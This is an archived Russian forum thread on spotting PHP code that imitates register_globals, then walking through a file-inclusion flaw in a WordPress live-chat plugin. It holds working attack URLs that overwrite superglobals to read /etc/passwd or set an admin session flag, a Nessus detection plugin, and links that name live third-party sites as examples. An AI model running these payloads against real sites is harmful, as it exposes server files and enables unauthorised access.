Просмотр полной версии : $this - это специальная переменная
По мотивам https://krober.biz/?p=3306 (веб-архив (http://web.archive.org/web/20200320055453/https://krober.biz/?p=3306)), с печальным выводом:
КРОБА said:
Интересно, но бесполезно.
До этого момента, с таким контекстом не встречался и в голову так же не приходило. Поэтому, после прочтения заметки, один юз кейс сразу нарисовался и спешу поделиться с вами
Некоторые PHP разработчики, за каким-то хреном, используют эмуляцию почившего режима Register Globals (https://www.php.net/manual/ru/security.globals.php) (RG). Выглядеть это может по разному:
PHP:
$v) $$k=$v;
unset($GET);
и пр.
Понятное дело, что при вайтбоксе оно нам и даром не нужно, у нас же всё как на ладони. Но вот при блекбоксе пых приложух, фишечка может очень сильно помочь задетектить такой вот своеобразный RG. Соответственно, тут всплывают все прелести атак типа:
Code:
http://site.com/upload.php?_FILES[file][name]=image.jpg&_FILES[file][type]=image/jpeg&_FILES[file][tmp_name]=/etc/passwd&_FILES[file][error]=0&_FILES[file][size]=1000
или
Code:
httр://site.com/upload.php?_SERVER[DOCUMENT_ROOT]=zip:///var/lib/php/sessions/sess_test%23
или
Code:
httр://site.com/upload.php?_SESSION[admin]=1
и другие варианты, в зависимости от предполагаемой логики работы чёрного ящика
Парочка примеров:
https://www.novikovgroup.ru/?this=works
https://www.novikovgroup.ru/?thiss=works
https://demo.whmcsadmintheme.com/?this=works
https://demo.whmcsadmintheme.com/?thiss=works
Для тех, кто любит автоматизацию, плагин для Nessus, который определяет наличие такой ситуации по наличию в заголовках или теле ответа характерного текста
[CODE]
Code:
# Pseudo register globals detection
include("compat.inc");
if(description)
{
script_id(10797109);
script_version("1.0");
script_cvs_date("$Date: 2019/12/19 13:37:00 $");
script_name(english: "Pseudo Register Globals Detection");
script_set_attribute(attribute: "synopsis", value: "Possible pseudo register globals behavior was detected on the remote host.");
script_set_attribute(attribute: "description", value: "Possible pseudo register globals behavior was detected on the remote host.");
script_set_attribute(attribute: "solution", value: "Check existing source code. Consider rewriting source code without usage of constructions like: extract($_GET), parse_str($_SERVER['QUERY_STRING']) , etc...");
script_set_attribute(attribute: "see_also", value: "https://antichat.com/threads/474727/");
script_set_attribute(attribute: "risk_factor", value: "Low");
script_set_attribute(attribute: "plugin_publication_date", value: "2019/12/19");
script_set_attribute(attribute: "plugin_type", value: "remote");
script_end_attributes();
script_summary(english: "Reports if response with code 500 occurs upon sending '/?this=abc' request. Additional checks should be made manually.");
script_category(ACT_GATHER_INFO);
script_copyright(english: "This script is Copyright (C) Kaimi (https://kaimi.io)");
script_family(english: "CGI abuses");
script_dependencie("webmirror.nasl", "DDI_Directory_Scanner.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_keys("Settings/enable_web_app_tests");
script_require_ports("Services/www");
script_timeout(1800);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
app = "PHP";
port = get_http_port(default: 80);
dirs = list_uniq(make_list(cgi_dirs(), get_kb_list("www/" + port + "/content/directories"), ""));
found_list = make_list();
found_ctr = 0;
foreach dir (dirs)
{
path = dir + '/?this=abc';
res = http_send_recv3(
method : "GET",
port : port,
item : path
);
if(isnull(res))
continue;
if
(
# Check headers first string
eregmatch(pattern: '500 Internal Server Error', string: res[0], icase: TRUE)
||
# Check body
eregmatch(pattern: 'Internal Server Error', string: res[2], icase: TRUE)
)
{
found_list[found_ctr] = path;
found_ctr++;
}
}
if(found_ctr > 0)
{
report = NULL;
if (report_verbosity > 0)
{
report += '\nNessus was able to detect a suspicious behavior by the following paths:\n';
report += '\n';
for (i = 0; i
Пользуясь случаем, рассмотрим применение кейса на реальном примере, который был раскручен с его помощью до RFI (Remote File Include).
Для локального воспроизведения нам понадобится WordPress 5.5, а так же плагин WP-Live Chat by 3CX версии 9.0.17, который на текущий момент имеет 50 тысяч активных установок.
https://i.imgur.com/DDr3YEd.png
Запускать всё это дело будем на стенде с Debian 9, веб-сервером Apache/2.4.25 и PHP 7.3.15 с включенным выводом ошибок (display_errors = On).
https://i.imgur.com/ircGyq9.png
https://i.imgur.com/aoUXR7W.png
После нехитрой установки WP и плагина, вычищаем все админские куки и следуем на главную страницу нашего новоиспечённого блога.
https://i.imgur.com/p2ISIKI.png
Следующим шагом, проверяем теорию описанную в первом посте, при помощи простейшего теста, с подставлением GET параметра "?this=1".
https://i.imgur.com/3AOcV6s.png
Получаем фатальную ошибку, с раскрытием локальных путей, а так же номером строки где она была вызвана. Далее открываем файл в любимом текстовом редакторе и находим это место. Наш кейс всплывает в функии evaluate_php_template:
./wp-live-chat-support/includes/helpers/utils_helper.php:
PHP:
. . .
public static functionevaluate_php_templat e($path,$args) {
foreach ($argsas$key=>$value) {
${$key} =$value;
}
ob_start();
include($path);
$var=ob_get_contents();
ob_end_clean();
return$var;
}
. . .
, где невооружённым глазом видно теоретическую возможность удалённого инклуда.
Если скрипт упал в этом месте, значит пользовательский ввод попадает в $args. Для того чтобы убедиться в этом, поищем в коде плагина места где используется эта функия и в свою очередь обнаружим другую функцию - load_view:
./wp-live-chat-support/includes/wplc_base_controller.php:
PHP:
. . .
protected functionload_view($filepath,$retu rn_html=false,$add_wrapper=true,$children= array( ) ) {
$data=$this->convert_view_data($this->view_data);
$data["page_title"] =$this->page_title;
$view_data=array_merge($data,$_GET);
$view_data['wplc_settings'] =$this->wplc_settings;
$view_data['selected_action'] =$this->selected_action;
unset($data);
$data_literal=$this->generate_wrapper_data();
$view_html=TCXUtilsHelper::evaluate_php_template($ filepath,$view_data);
if($add_wrapper) {
$result_view='';
$result_view.=$view_html;
$result_view.='';
}else
{
$result_view=$view_html;
}
if (count($children) >0) {
libxml_use_internal_errors(true);
$doc= newDOMDocument();
$doc->formatOutput=true;
$doc->loadHTML($result_view);
foreach ($childrenas$child) {
$container_element=$doc->getElementById($child->id);
$html=$child->controller->view(true,false);
$node=$this->createElementFromHTML($doc,$html);
$container_element->appendChild($node);
}
$result_view=$doc->saveHTML();
}
if ($return_html) {
return$result_view;
} else {
echo$result_view;
returntrue;
}
}
. . .
На третьей строке этой функции видим, что переменная $data объединяется с массивом $_GET. Это как раз то место, когда пользовательские данные без какой-либо обработки попадают в уязвимую функцию evaluate_php_template. А это значит, мы можем изменить переменную $path на любое значение. И сделав запрос вида http://wordpress/?path=/etc/passwd, убеждаемся в этом:
https://i.imgur.com/dqkozcW.png
Или так:
https://i.imgur.com/klnpciG.png
https://i.imgur.com/pTU8jPD.png
Теперь давайте разбираться как так произошло
https://i.imgur.com/mDjNNsV.png
https://i.imgur.com/QpczfHJ.png
https://i.imgur.com/vupK3sS.png
На первом скрине видим, что load_view() в плагине используется повсеместно, для отображения различных страниц темплейтов, с предустановленными зарание переменными и юзеринпутом. Важным аргументом для неё является $filepath, который, как видно, при вызове жёстко прописывается и повлиять на него никак нельзя.
Далее, подготавливаются некие переменные, для подключаемого шаблона, и массив с этими переменными объединяется с $_GET. И через несколько строк, $view_data, с пользовательскими гет данными, отправляется в функцию evaluate_php_template(), куда так же первым аргументом передаётся захардкоженный $filepath.
В следующем методе аргументы $args, возможностями переменных переменных (https://www.php.net/manual/ru/language.variables.variable.php) глобализуются или переназначаются (неявно) в контексте нашей функции, вероятно, для заполнения подключаемого темплейта.
Всё бы ничего, но мы передав ?path=/etc/passwd сделали так, что один из ключей перебираемого массива $args является "path", что переназначит значение, казалось бы жёстко прописанной, переменной $path переданой заранее!
$this is the end
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot